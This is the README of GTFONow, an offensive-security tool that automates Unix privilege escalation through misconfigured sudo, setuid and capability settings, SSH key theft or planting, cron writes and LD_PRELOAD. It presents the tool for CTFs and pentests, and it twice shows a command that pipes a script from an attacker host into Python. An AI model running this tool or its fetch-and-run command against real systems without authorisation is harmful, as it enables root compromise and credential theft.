GTFONow

Automatic privilege escalation on unix systems by exploiting misconfigured setuid/setgid binaries, capabilities and sudo permissions. Designed for CTFs but also applicable in real world pentests.

✅ Features

• Automatically exploit misconfigured sudo permissions.
• Automatically exploit misconfigured suid, sgid permissions.
• Automatically exploit misconfigured capabilities.
• Automatically convert arbitrary file read primitive into shell by stealing SSH keys.
• Automatically convert arbitrary file write primitive into shell by dropping SSH keys.
• Automatically convert arbitrary file write primitive into shell by writing to cron.
• Automatically convert arbitrary file write primitive into shell using LD_PRELOAD.
• Single file, easy to run fileless with curl http://attackerhost/gtfonow.py | python

💻 Usage

To use GTFONow, simply run the script from your command line. The basic syntax is as follows:

python gtfonow.py [OPTIONS]

It can also be run by piping the output of curl:

curl http://attacker.host/gtfonow.py | python

Options

• --level: Sets the level of checks to perform. You can choose between:
  • 1 (default) for a quick scan.
  • 2 for a more thorough scan.
  • Example: python gtfonow.py --level 2
• --risk: Specifies the risk level of the exploit to perform. The options are:
  • 1 (default) for safe operations.
  • 2 for more aggressive operations such as file modifications, primarily for use in CTFs, if using on real engagements, ensure you understand what this is doing.
  • Example: python gtfonow.py --risk 2
• --command: Issues a single command instead of spawning an interactive shell. This is mainly for debugging purposes.
  • Example: python gtfonow.py --command 'ls -la'
• --auto: Automatically exploits without user wizard.
• -v, --verbose: Enables verbose output.
  • Example: python gtfonow.py --verbose

Compatibility

By design GTFONow is a backwards compatible, stdlib only python script, meaning it should work on any variant of Unix if Python is installed.

• Python2.*
• Python3.*
• No 3rd party dependencies
• Any Unix Variant (Linux, MacOS,*Nix)
• Any architecture eg (X86/ARM64/X86-64)

🙏 Credits

• Payloads thanks to GTFOBins.